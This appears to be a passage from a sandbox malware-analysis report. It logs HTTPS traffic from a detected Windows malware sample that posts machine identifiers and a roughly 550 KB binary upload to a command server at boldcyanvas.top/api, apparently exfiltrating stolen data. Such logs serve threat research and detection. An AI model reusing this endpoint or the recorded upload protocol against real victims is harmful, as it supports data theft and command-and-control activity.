lawgwvTBfE8WF1pV7weiyKFoCYK107znVTbcRa6IucCbtW7UoowqThpHGBajQ4zGuSAbgaC16LkJLoRNo77ylMr3L8GimioPWQ1ZXuBRnsHfTkjX+qqx4ls22kL45LrPgqNR7cnObE9AGE1+wwfTxu4wEeO1rv/WFXHSFLvoh8+Wt2jF849Ca2AlCXTkUt+y5mBY0fjq/6cbN4oMs+byyIn5N4OwmT8bDU8ZR61e3ZChKBuUtfT/sRt2yUbxrrH
2025-02-14 15:32:19 UTC	1369	IN	Data Raw: 35 54 73 7a 32 74 4c 56 42 78 5a 53 75 56 45 69 34 57 6d 54 6e 66 2f 2b 4f 75 36 35 31 77 50 39 48 58 70 75 4c 2f 44 6e 2f 74 50 31 50 54 42 56 48 5a 74 44 6b 78 49 6f 57 47 65 6b 4f 49 77 42 35 72 74 70 75 65 70 65 6a 76 61 57 65 79 76 38 4f 79 66 72 32 79 54 72 49 4a 75 43 41 4a 66 62 6c 58 75 51 70 4f 42 6f 31 46 44 79 76 6a 70 75 4b 74 37 4e 74 78 58 6f 2b 62 79 77 4e 6a 68 4c 39 4c 6f 30 6d 64 48 58 56 4e 4d 51 75 51 48 30 38 62 76 4d 42 47 61 39 4f 79 76 35 46 51 32 68 6c 4c 74 70 76 4c 54 31 71 41 76 78 61 4b 61 4f 51 59 61 44 51 73 41 6f 77 43 65 6c 50 4e 32 53 73 7a 32 6f 59 48 58 64 69 50 4e 52 4f 44 71 67 38 47 63 72 33 72 51 38 73 56 55 64 6e 63 4e 54 45 6a 67 42 61 79 51 34 6e 42 48 33 62 57 6f 2f 2f 45 62 61 59 70 35 38 61 2b 69 7a 39 6a 33 Data Ascii: 5Tsz2tLVBxZSuVEi4WmTnf/+Ou651wP9HXpuL/Dn/tP1PTBVHZtDkxIoWGekOIwB5rtpuepejvaWeyv8Oyfr2yTrIJuCAJfblXuQpOBo1FDyvjpuKt7NtxXo+bywNjhL9Lo0mdHXVNMQuQH08bvMBGa9Oyv5FQ2hlLtpvLT1qAvxaKaOQYaDQsAowCelPN2Ssz2oYHXdiPNRODqg8Gcr3rQ8sVUdncNTEjgBayQ4nBH3bWo//EbaYp58a+iz9j3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49718	104.21.33.245	443	2120	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:32:20 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=05JN9WVS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12781 Host: boldcyanvas.top
2025-02-14 15:32:20 UTC	12781	OUT	Data Raw: 2d 2d 30 35 4a 4e 39 57 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 36 38 41 44 32 36 38 41 39 44 46 42 46 43 32 44 34 33 41 33 33 34 38 32 34 30 36 42 35 35 0d 0a 2d 2d 30 35 4a 4e 39 57 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 35 4a 4e 39 57 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 63 73 57 73 38 2d 2d 0d 0a 2d 2d 30 35 4a 4e 39 57 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 Data Ascii: --05JN9WVSContent-Disposition: form-data; name="hwid"4568AD268A9DFBFC2D43A33482406B55--05JN9WVSContent-Disposition: form-data; name="pid"2--05JN9WVSContent-Disposition: form-data; name="lid"PcsWs8----05JN9WVSContent-Disposition:
2025-02-14 15:32:21 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=kofpdsn6faod1gvhup9viualpm; expires=Sat, 15 Feb 2025 15:32:20 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W1RSxn4In8ajcUh%2F4OadCoSep07yj343Q9OrhK23yWww1CjTevirGpM6DczScRtUzIDeebtkeVDjU01O84nP442EQoIISWJ%2FB17LvcR%2FToXxU86TRqQATdnPVqOyZvxA%2FhY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e1c3c8dbb42aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1668&min_rtt=1666&rtt_var=630&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13710&delivery_rate=1728833&cwnd=210&unsent_bytes=0&cid=2d418bc406dca8f5&ts=698&x=0"
2025-02-14 15:32:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-14 15:32:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49729	104.21.33.245	443	2120	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:32:21 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CLJVFPLUOPVCXS2R6W8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15079 Host: boldcyanvas.top
2025-02-14 15:32:21 UTC	15079	OUT	Data Raw: 2d 2d 43 4c 4a 56 46 50 4c 55 4f 50 56 43 58 53 32 52 36 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 36 38 41 44 32 36 38 41 39 44 46 42 46 43 32 44 34 33 41 33 33 34 38 32 34 30 36 42 35 35 0d 0a 2d 2d 43 4c 4a 56 46 50 4c 55 4f 50 56 43 58 53 32 52 36 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 4c 4a 56 46 50 4c 55 4f 50 56 43 58 53 32 52 36 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 63 73 57 73 38 2d 2d 0d 0a Data Ascii: --CLJVFPLUOPVCXS2R6W8Content-Disposition: form-data; name="hwid"4568AD268A9DFBFC2D43A33482406B55--CLJVFPLUOPVCXS2R6W8Content-Disposition: form-data; name="pid"2--CLJVFPLUOPVCXS2R6W8Content-Disposition: form-data; name="lid"PcsWs8--
2025-02-14 15:32:22 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=jdiu7gf7t80hulcpviuh6k93vq; expires=Sat, 15 Feb 2025 15:32:22 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6siQNnRBYnG1zrx5ag7cMAPMwiG8rsyiyBWQGlupDzSBopsgRJxFMdIIGdyWqLs%2FeJOO399d94OTLrwMu6XAfKg724puX8JdwTdN7fqy5chrO8K6HdteWy7%2FQ5o9NjH2rDk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e1c450f284309-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1577&rtt_var=596&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16019&delivery_rate=1829573&cwnd=234&unsent_bytes=0&cid=55b3deae0c8e6826&ts=692&x=0"
2025-02-14 15:32:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-14 15:32:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49740	104.21.33.245	443	2120	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:32:23 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7CSSSN9X7YZ7G6WW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20386 Host: boldcyanvas.top
2025-02-14 15:32:23 UTC	15331	OUT	Data Raw: 2d 2d 37 43 53 53 53 4e 39 58 37 59 5a 37 47 36 57 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 36 38 41 44 32 36 38 41 39 44 46 42 46 43 32 44 34 33 41 33 33 34 38 32 34 30 36 42 35 35 0d 0a 2d 2d 37 43 53 53 53 4e 39 58 37 59 5a 37 47 36 57 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 43 53 53 53 4e 39 58 37 59 5a 37 47 36 57 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 63 73 57 73 38 2d 2d 0d 0a 2d 2d 37 43 53 53 53 4e 39 Data Ascii: --7CSSSN9X7YZ7G6WWContent-Disposition: form-data; name="hwid"4568AD268A9DFBFC2D43A33482406B55--7CSSSN9X7YZ7G6WWContent-Disposition: form-data; name="pid"3--7CSSSN9X7YZ7G6WWContent-Disposition: form-data; name="lid"PcsWs8----7CSSSN9
2025-02-14 15:32:23 UTC	5055	OUT	Data Raw: 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 Data Ascii: X6K~`iO\_,mi`m?ls}Qm/X2x)
2025-02-14 15:32:24 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=d5veblqs73u5qrvajm3dcpbmph; expires=Sat, 15 Feb 2025 15:32:23 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8hDPJCdaLfElAHYmx72VdiqYiswDpkBuUh1HEKXWMzDmf%2FCh0Epi7x8aVSuzCbnuvWbVB8iAtTxLbjp1u5twyDUB0r9aF0cwO%2B2XDRjr59RT%2BL3wcZTOkTxZL9EZfGfoqbk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e1c4ddf007c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1953&rtt_var=759&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21345&delivery_rate=1416100&cwnd=242&unsent_bytes=0&cid=585f8774c2dc7530&ts=755&x=0"
2025-02-14 15:32:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-14 15:32:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49751	104.21.33.245	443	2120	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:32:25 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RZM2AAE51DIY63BJAR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2361 Host: boldcyanvas.top
2025-02-14 15:32:25 UTC	2361	OUT	Data Raw: 2d 2d 52 5a 4d 32 41 41 45 35 31 44 49 59 36 33 42 4a 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 36 38 41 44 32 36 38 41 39 44 46 42 46 43 32 44 34 33 41 33 33 34 38 32 34 30 36 42 35 35 0d 0a 2d 2d 52 5a 4d 32 41 41 45 35 31 44 49 59 36 33 42 4a 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 5a 4d 32 41 41 45 35 31 44 49 59 36 33 42 4a 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 63 73 57 73 38 2d 2d 0d 0a 2d 2d 52 Data Ascii: --RZM2AAE51DIY63BJARContent-Disposition: form-data; name="hwid"4568AD268A9DFBFC2D43A33482406B55--RZM2AAE51DIY63BJARContent-Disposition: form-data; name="pid"1--RZM2AAE51DIY63BJARContent-Disposition: form-data; name="lid"PcsWs8----R
2025-02-14 15:32:26 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=s15pp7kt246rdjrmacf3k7j1vg; expires=Sat, 15 Feb 2025 15:32:25 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z8ZJOmJTO5GBdFGUC9%2B2gyeL2sJaH%2BHpORUeP8ahSH7Sew3XjImiYvoGkYo6hyR6gyWzVQK%2FZjHPUabDA38OxBhcGpQarvObBBl5zIZQidx8vvX0LnGnWit1WgFSyC2L5jg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e1c5caf2942aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1645&min_rtt=1629&rtt_var=644&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=3277&delivery_rate=1655328&cwnd=210&unsent_bytes=0&cid=39b936c3b179d425&ts=674&x=0"
2025-02-14 15:32:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-14 15:32:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49762	104.21.33.245	443	2120	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:32:28 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NIMQS3XP2LCKIHFLVY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550636 Host: boldcyanvas.top
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: 2d 2d 4e 49 4d 51 53 33 58 50 32 4c 43 4b 49 48 46 4c 56 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 36 38 41 44 32 36 38 41 39 44 46 42 46 43 32 44 34 33 41 33 33 34 38 32 34 30 36 42 35 35 0d 0a 2d 2d 4e 49 4d 51 53 33 58 50 32 4c 43 4b 49 48 46 4c 56 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 49 4d 51 53 33 58 50 32 4c 43 4b 49 48 46 4c 56 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 63 73 57 73 38 2d 2d 0d 0a 2d 2d 4e Data Ascii: --NIMQS3XP2LCKIHFLVYContent-Disposition: form-data; name="hwid"4568AD268A9DFBFC2D43A33482406B55--NIMQS3XP2LCKIHFLVYContent-Disposition: form-data; name="pid"1--NIMQS3XP2LCKIHFLVYContent-Disposition: form-data; name="lid"PcsWs8----N
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: 6f 22 c1 91 6a 62 95 d3 39 38 d8 43 06 b5 26 cc 89 d1 bb 7e 5e 90 4d d8 f6 21 4d fe 21 c6 bd b1 92 40 8f 53 07 d3 e0 d5 f1 78 a2 a9 15 bc 5f 78 9a 95 7a 12 10 c4 69 fa dc 3b ad d3 d0 c4 ad b9 84 02 20 cf 07 ca 1c e6 a0 e5 b0 d2 73 07 30 af d2 4d 1d 00 4e 9c a6 59 12 97 17 fb 43 0e e3 0d 6e d5 68 4f 42 64 86 d4 17 3d 73 54 e8 f2 f5 ee 5b da a2 1d a1 c4 88 70 29 a8 38 96 82 d2 6d c6 8d 3b 98 b7 65 90 f3 e4 c0 f5 15 33 e9 f0 03 9a 7c 0d d7 02 78 58 e4 98 a1 bb 42 83 a1 e5 dd a8 2a f3 01 b3 f4 0a 4b 7c f3 98 8c a1 f4 ea bf 68 62 6a 88 de 66 d9 fe bd 92 7f 97 6d 21 7f db d8 54 d7 45 6a a4 7b 0c cf 0e dc 5d e5 34 14 a5 f2 75 16 71 69 e4 fa 56 e4 b2 c3 86 f2 80 d0 fc 71 b7 99 03 e0 92 51 5a 44 58 d2 a4 f8 73 81 cc c5 78 65 3d 39 0d 4e 93 06 55 77 f6 48 87 f1 61 Data Ascii: o"jb98C&~^M!M!@Sx_xzi; s0MNYCnhOBd=sT[p)8m;e3\|xXB*K\|hbjfm!TEj{]4uqiVqQZDXsxe=9NUwHa
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: 32 bf 1c 90 53 4d b1 bc d4 7a 40 d1 7d 35 65 d3 6e a4 fc d1 5c c5 c1 e1 e0 17 37 cf 2e 60 4f a6 59 2b 92 f3 2e 33 cd b0 03 3b 56 37 35 1e 63 43 2a 3d c9 b6 a5 dc 77 0e cf 2e 1e 00 01 c5 39 7e d5 ab 96 41 d6 db f5 ea 1a b7 bb f6 20 fa 82 87 2b 0a 9e 7c ae 0f bb 8a 7a f9 c8 86 ef d7 4a 5f 0b 1f ff ac d7 6b b2 6c e4 de 53 d9 ae 8c f1 9e 3d be 47 cc 93 43 a4 04 5e 2b 49 28 3d e4 71 ea cf 6d 21 74 4c 76 1a 98 2f 31 10 b5 8c 5e 3b f9 ea 6b b5 ce b2 49 72 a8 9a 59 9a cb 8e bd 47 a2 f5 48 96 21 1c 7d 32 19 9b 86 37 8e 54 98 57 2b 7f e8 1e 05 84 9c ca 53 d3 84 58 a5 42 3f ab 3d b6 23 34 99 e8 c9 7b 1a a1 d4 27 70 8f 9d 90 f4 ea cf cf 2f 6b 79 39 e6 32 df bd 55 9f c1 e2 f7 ec 57 81 d0 0b c1 24 f1 9c 06 b9 62 2d 99 fc 2e ff 36 76 68 9e b8 d1 80 82 12 86 8a c4 ec c0 Data Ascii: 2SMz@}5en\7.`OY+.3;V75cC*=w.9~A +\|zJ_klS=GC^+I(=qm!tLv/1^;kIrYGH!}27TW+SXB?=#4{'p/ky92UW$b-.6vh
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: 79 48 37 ed b4 f9 13 f7 28 f2 cc ef 15 f1 53 57 ad 7c d1 9a c6 f6 12 06 8f 1f 33 9f 0e 13 21 f8 bf b5 34 a1 37 12 63 a8 fd a4 ed 8c bc ec b2 cc 2f 09 e6 e1 5f f8 02 7f 54 71 af a0 7d fe ae 64 8f 47 a2 10 2b ad e5 67 c8 0f 8d cf 6f 9c 42 be a1 bf ec b9 c8 03 ef 2f 02 5d 68 d8 9b f5 35 05 8e 2e 17 80 98 ff 64 1c 06 da 63 25 f5 e8 06 65 f0 42 d4 ca b5 ea f4 b8 e2 bc 16 a0 bd 0f 2a 30 66 7c 40 09 9b 86 4d 62 2e 8d 26 81 44 0d 54 48 82 ad 5c 47 e0 68 d6 f5 a6 d3 27 aa df 8f 2f 1c 77 16 e8 d2 1e 2e bd d5 5d 4d 9a fb 2d 43 57 bc ac 5c 75 2b 6f 99 eb 22 68 14 96 80 85 5d 05 4d 8c 1a d8 de 84 6f 80 d4 99 31 60 32 86 fd 23 a7 af d5 4e 79 56 50 ca ff f9 b6 eb 6f c6 67 25 ce bd c7 54 b9 ef 62 71 ca e3 3c 6f a6 5b 8d 29 14 63 6d 2c c4 f5 f4 89 29 45 4d 7f 66 95 b4 b8 Data Ascii: yH7(SW\|3!47c/_Tq}dG+goB/]h5.dc%eB*0f\|@Mb.&DTH\Gh'/w.]M-CW\u+o"h]Mo1`2#NyVPog%Tbq<o[)cm,)EMf
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: aa e7 2d 5b 45 2c f1 c2 35 31 29 76 6e 9e f7 65 0e 79 47 3e 85 fd 17 65 56 65 b3 0d 98 b5 be dd 91 bb 5b 63 07 e3 a1 be d1 ab 77 76 1b de 7f e5 f4 30 a8 6f 3e 2a 64 ce 67 30 a2 a2 b3 de 45 ea cf a2 d4 ee d4 e2 ff f8 5b ed 3d 52 65 d0 ff 26 64 12 30 df 9d 9a b8 17 e7 f3 82 6e 1f 91 89 db 80 4b 5c e2 af 57 25 4e 0b 7d 28 04 d2 bc 75 8f 0a 0a 36 86 fc 2d ec 0b 7d 79 fa cb b5 d9 45 e0 98 43 78 1c fb c3 4a 24 c9 aa cb d3 2f 79 5e 43 c6 d3 b5 96 fd 79 d9 32 7e de f2 6e 55 d3 3e d9 fe b0 e9 28 29 ed 54 29 74 c6 bf 5a 25 2c 6c ac 56 3a be 24 e6 66 42 fc 5c f0 40 8c 56 89 a6 fd c5 7a a5 6f 21 09 bd 96 2d 97 e9 24 a3 74 d3 c8 7e 8e cf 22 b9 66 44 eb 8a 4b 35 80 a3 a2 41 68 54 b8 c3 57 c5 dd 3c 4d 1e cb e8 c0 5d be 50 7b 61 c9 4d 72 c7 4e 02 b4 2a dc f9 be db 04 72 Data Ascii: -[E,51)vneyG>eVe[cwv0o>dg0E[=Re&d0nK\W%N}(u6-}yECxJ$/y^Cy2~nU>()T)tZ%,lV:$fB\@Vzo!-$t~"fDK5AhTW<M]P{aMrNr
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: 51 bf 96 d7 f7 f3 dd 7b b5 0d 29 4d 40 38 30 1f da d5 2a a4 c9 cf 32 75 3e 2d 23 7b 3d af 67 fe 0a ae b8 4b ce ef 29 ad b1 d7 e1 f8 0e 8b 43 84 28 39 fc 4e 82 fd 87 b2 d0 eb 19 31 d1 7a 22 1b c3 89 5a a9 ba 2d 95 5e af af 68 a3 ec 8d e2 65 8b 7f 5f 2b 46 33 2a 56 fe d5 2a 1f d3 05 33 92 a8 16 a4 c0 dd 05 09 a2 40 85 75 df 60 b0 42 fb 6d 9b 96 ac 24 b7 b3 d1 f0 ad dd 20 77 d6 1c 64 18 97 87 ef a8 79 b2 b7 e0 61 d4 0a 0a bc d6 07 b6 12 bc 73 9f c4 4b 4e 36 e7 93 e7 3b d6 ed 6e 00 2b 23 47 b5 f9 87 db c3 8a ce 32 bb d6 87 db 2d 8e a2 72 81 b7 ee 45 78 19 64 60 c3 a3 42 2f 63 15 31 21 9d fd d9 d3 c7 13 0b a6 72 2b ad 76 76 6f a5 b4 1a 76 62 37 26 d6 ad b5 32 74 a1 9f 02 b1 b6 37 f0 4b bf d6 6f e0 c5 4a a5 e1 43 8c 42 aa 65 26 a9 2a 7d e0 22 1e 9f 44 ea 1a da Data Ascii: Q{)M@802u>-#{=gK)C(9N1z"Z-^he_+F3V3@u`Bm$ wdyasKN6;n+#G2-rExd`B/c1!r+vvovb7&2t7KoJCBe&}"D
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: 59 1e ca ab 80 7c d7 2a 27 c4 e7 69 e6 ed 4c 87 4e 29 75 e5 7c b1 4e 63 1e 24 5b a4 73 1f 70 b4 ce 45 26 9a cc 71 ff 50 0c df 55 cd 7e 43 b8 ed 18 da d6 52 5a ac b7 97 60 80 18 d4 93 e5 af 68 c7 d5 5b 5b 7b 8e 64 e1 3c c5 e3 7a 7f 85 14 2b 2d 2a fb b3 7a c6 85 3d c1 df 15 30 b8 d0 3a 12 74 ad db 82 88 de 7f 49 12 db d4 5c f7 ee d7 76 9a b7 c2 16 06 7e 01 7a ee f6 b8 94 de 24 6b ab e9 7b 71 0a 27 e9 1b 29 f5 91 b3 ff b1 21 52 61 78 aa 02 48 38 49 fd 93 3f fd da d3 73 90 42 d2 71 1f 7b 42 e3 d6 e7 d3 b3 4a 9c fe 86 2a f3 ef 60 5b 13 b0 d6 c3 a9 ff 8d 77 be b3 17 bc bf 62 b7 f7 af 2c f5 7d cc fe ec 7f 62 9e 5d bb d3 10 72 e6 49 7c e4 97 ef 46 2b 6f 4f e6 27 eb 88 ba 86 f6 4b dd 2c 3d 